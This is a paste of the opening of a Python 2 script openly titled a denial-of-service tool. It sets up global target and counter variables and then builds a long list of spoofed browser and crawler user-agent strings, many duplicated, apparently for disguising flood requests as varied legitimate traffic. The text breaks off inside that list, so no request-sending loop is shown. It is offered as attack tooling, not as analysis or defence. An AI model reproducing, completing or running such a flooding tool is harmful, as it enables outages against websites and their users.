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Frozen Denial Of Service Tool

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May 19th, 2017
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  1. import urllib2
  2. import sys
  3. import threading
  4. import random
  5. import re
  6.  
  7. #global params
  8. url=''
  9. host=''
  10. headers_useragents=[]
  11. headers_referers=[]
  12. request_counter=0
  13. flag=0
  14. safe=0
  15.  
  16. def inc_counter():
  17.     global request_counter
  18.     request_counter+=9999
  19.  
  20. def set_flag(val):
  21.     global flag
  22.     flag=val
  23.  
  24. def set_safe():
  25.     global safe
  26.     safe=1 
  27. # generates a user agent array
  28. def useragent_list():
  29.     global headers_useragents
  30.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  31.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  32.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  33.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  34.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  35.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  36.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  37.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  38.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  39.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  40.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  41.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  42.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  43.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  44.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  45.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  46.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  47.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  48.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  49.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  50.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  51.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  52.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  53.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  54.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  55.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  56.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  57.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  58.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  59.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  60.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  61.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  62.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  63.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  64.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  65.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  66.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  67.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  68.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  69.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  70.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  71.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  72.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  73.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  74.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  75.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  76.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  77.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  78.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  79.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  80.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  81.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  82.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  83.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  84.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  85.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  86.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  87.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  88.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  89.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  90.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  91.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  92.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  93.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  94.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  95.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  96.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  97.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  98.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  99.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  100.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  101.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  102.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  103.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  104.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  105.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  106.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  107.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  108.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  109.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  110.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  111.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  112.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  113.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  114.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  115.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  116.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  117.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  118.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  119.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  120.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  121.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  122.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  123.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  124.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  125.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  126.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  127.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  128.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  129.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  130.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  131.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  132.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  133.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  134.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  135.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  136.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  137.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  138.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  139.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  140.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  141.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  142.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  143.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  144.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  145.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  146.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  147.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  148.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  149.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  150.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  151.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  152.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  153.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  154.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  155.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  156.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  157.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  158.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  159.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  160.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  161.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  162.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  163.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  164.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  165.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  166.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  167.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  168.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  169.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  170.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  171.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  172.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  173.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  174.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  175.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  176.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  177.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  178.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  179.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  180.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  181.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  182.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  183.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  184.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  185.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  186.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  187.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  189.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  190.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  191.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  192.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  193.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  194.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  195.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  196.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  197.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  198.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  199.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  200.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  201.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  202.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  204.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  205.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  206.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  207.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  208.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  209.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  210.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  211.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  212.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  213.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  214.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  215.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  216.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  217.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  218.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  219.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
